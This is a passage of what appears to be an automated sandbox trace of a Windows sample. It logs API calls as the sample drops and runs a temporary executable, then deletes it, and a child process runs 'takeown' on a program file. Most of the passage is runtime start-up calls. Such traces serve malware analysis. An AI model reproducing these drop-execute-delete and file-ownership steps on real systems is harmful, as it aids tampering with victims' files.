(HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x5f82d0 [0052.852] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0053.684] GetFileType (hFile=0x94) returned 0x1 [0053.685] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0053.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1000) returned 0x5f9828 [0053.689] WriteFile (in: hFile=0x94, lpBuffer=0x5f9828*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x5f9828*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0053.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f9828 | out: hHeap=0x5e0000) returned 1 [0053.689] CloseHandle (hObject=0x94) returned 1 [0053.689] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" [0053.689] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xb70, dwThreadId=0xb90)) returned 1 [0054.046] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0076.203] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0076.205] CloseHandle (hObject=0x98) returned 1 [0076.205] CloseHandle (hObject=0x94) returned 1 [0076.206] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f7818 | out: hHeap=0x5e0000) returned 1 [0076.206] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0076.206] ExitProcess (uExitCode=0x0) [0076.207] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f60d0 | out: hHeap=0x5e0000) returned 1 Process: id = "22" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x28c1b000" os_pid = "0xb1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xadc" cmd_line = "takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 109 os_tid = 0x89c Process: id = "23" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x177e5000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x598" cmd_line = "bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0xb90 [0058.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xcb117780, dwHighDateTime=0x1d5d06a)) [0058.091] GetCurrentThreadId () returned 0xb90 [0058.091] GetCurrentProcessId () returned 0xb70 [0058.091] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=20005576802) returned 1 [0058.104] GetProcessHeap () returned 0x150000 [0058.105] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0058.105] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0058.106] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0058.107] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0058.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x478) returned 0x16f050 [0058.107] GetCurrentThreadId () returned 0xb90 [0058.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x28) returned 0x165ed0 [0058.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0xb00) returned 0x16f4d0 [0058.108] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x16f050)) [0058.108] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0058.108] GetFileType (hFile=0x3) returned 0x2 [0058.114] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0058.114] GetFileType (hFile=0x4) returned 0x3 [0058.114] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0058.114] GetFileType (hFile=0xb) returned 0x2 [0058.118] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" [0058.118] GetEnvironmentStringsW () returned 0x16ffe0* [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0xb38) returned 0x170b20 [0058.118] FreeEnvironmentStringsW (penv=0x16ffe0) returned 1 [0058.118] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x8e) returned 0x171660 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x138) returned 0x171700 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x3e) returned 0x166510 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x6c) returned 0x171840 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x62) returned 0x1718c0 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x78) returned 0x171930 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x62) returned 0x1719b0 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2e) returned 0x16de00 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x48) returned 0x166560 [0058.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2a) returned 0x16de40 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x28) returned 0x165f00 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x1a) returned 0x165f30 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x4a) returned 0x171a20 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x72) returned 0x171a80 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x30) returned 0x16de80 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2e) returned 0x16dec0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x1c) returned 0x165f60 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0xd2) returned 0x171b00 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x7c) returned 0x171be0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x3a) returned 0x1665b0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x90) returned 0x171c70 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x24) returned 0x165f90 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x30) returned 0x16df00 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x36) returned 0x16df40 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x3c) returned 0x166600 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x52) returned 0x171d10 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x3c) returned 0x166650 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x18) returned 0x171d70 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x82) returned 0x171d90 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2e) returned 0x16df80 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x1e) returned 0x165fc0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2c) returned 0x16dfc0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x54) returned 0x171e20 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x52) returned 0x171e80 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x2a) returned 0x16e000 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x3c) returned 0x1666a0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x54) returned 0x171ee0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x24) returned 0x165ff0 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x30) returned 0x16e040 [0058.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x8c) returned 0x16ffe0 [0058.119] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x170b20 | out: hHeap=0x150000) returned 1 [0058.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x8, Size=0x1000) returned 0x170080 [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] GetACP () returned 0x4e4 [0058.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x228) returned 0x171090 [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] IsValidCodePage (CodePage=0x4e4) returned 1 [0058.120] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0058.120] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0058.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ龒捽「") returned 256 [0058.120] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ龒捽「", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0058.120] GetLastError () returned 0x0 [0058.120] SetLastError (dwErrCode=0x0) [0058.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0058.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0058.120] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0058.121] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0058.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0058.121] GetLastError () returned 0x0 [0058.121] SetLastError (dwErrCode=0x0) [0058.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0058.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0058.121] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0058.121] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0058.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 